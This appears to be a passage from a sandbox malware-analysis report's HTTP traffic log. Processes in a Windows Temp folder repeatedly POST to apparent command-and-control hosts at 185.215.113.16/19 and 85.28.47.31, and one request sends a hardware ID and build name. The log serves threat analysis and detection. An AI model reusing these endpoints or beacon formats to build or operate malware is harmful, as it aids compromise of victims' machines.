Jul 27, 2024 09:26:34.668879986 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:34.916436911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49795	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:34.653846025 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:35.398504019 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:35.399235010 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:35.715801954 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49798	34.107.221.82	80	5256	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:34.706897974 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 27, 2024 09:26:35.153379917 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 15:00:00 GMT Age: 59195 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 27, 2024 09:26:45.165245056 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49799	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:35.023356915 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:35.775820971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:35.776421070 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:36.025635004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49804	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:35.828114033 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:36.594738960 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:36.596139908 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:36.847939968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49805	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:36.169369936 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:36.919888973 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:36.933590889 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:37.181901932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49807	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:37.046350956 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:37.796120882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:37.812388897 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:38.057976007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49809	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:37.357227087 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:38.070513010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:38.071022987 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:38.317648888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49810	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:38.195621967 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:38.963290930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:38.966099024 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:39.215650082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49811	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:38.437380075 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:39.183013916 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:39.195076942 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:39.440311909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49812	85.28.47.31	80	1816	C:\Users\user\AppData\Local\Temp\1000016001\624f4d727e.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:38.551543951 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 09:26:39.183696985 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:26:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 09:26:39.197482109 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIIDAEBGCAAECAKFHII Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 35 41 41 32 45 43 42 43 45 36 38 34 32 31 37 36 35 31 31 32 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 49 44 41 45 42 47 43 41 41 45 43 41 4b 46 48 49 49 2d 2d 0d 0a Data Ascii: ------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="hwid"25AA2ECBCE684217651120------BGIIDAEBGCAAECAKFHIIContent-Disposition: form-data; name="build"sila------BGIIDAEBGCAAECAKFHII--
Jul 27, 2024 09:26:39.379755974 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 07:26:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49813	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:39.335053921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:40.154588938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:40.155167103 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:40.441371918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49814	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:39.566726923 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:40.324685097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:40.325565100 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:40.574795008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49816	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:40.562125921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:41.304464102 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
